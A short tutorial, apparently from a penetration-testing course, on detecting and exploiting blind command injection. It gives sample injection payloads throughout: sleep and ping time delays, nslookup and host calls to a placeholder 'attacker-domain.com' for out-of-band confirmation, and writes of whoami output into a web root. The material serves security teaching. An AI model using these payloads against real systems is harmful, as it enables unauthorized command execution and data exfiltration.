Blind Command Injection Techniques
What you'll learn: How to exploit command injection vulnerabilities even when you can't see the command output directly.
The Invisible Challenge
In many real-world scenarios, command injection vulnerabilities don't display their output back to you. The application might execute your injected commands silently without showing results on the page. This is called blind command injection, and it requires creative techniques to confirm the vulnerability exists and extract data.
Core Detection Methods
Since you can't see direct output, you need alternative ways to detect successful injection:
Time Delays
Inject commands that cause deliberate delays. If the application responds slower, you know your command executed:
; sleep 10 ;
& timeout 10 &
| ping -c 10 127.0.0.1 |
If the page takes 10 seconds to load, the injection worked.
DNS Lookups (Out-of-Band)
Make the server perform a DNS lookup to a domain you control. Check your DNS logs to see if the request arrived:
; nslookup attacker-domain.com ;
; host attacker-domain.com ;
File Writes
Write output to files in web-accessible directories, then retrieve them via HTTP:
; whoami > /var/www/html/output.txt ;
; ls -la > /tmp/data.txt ;
The Detective Approach
Think of blind command injection like trying to communicate through a locked door. You can't see inside, but you can knock (time delays), pass notes under the door (file writes), or have someone call you from inside (DNS lookups).
Key Takeaway: Blind command injection relies on observable side effects—time delays, external network connections, and file system changes—to confirm vulnerability and exfiltrate data when direct output isn't available.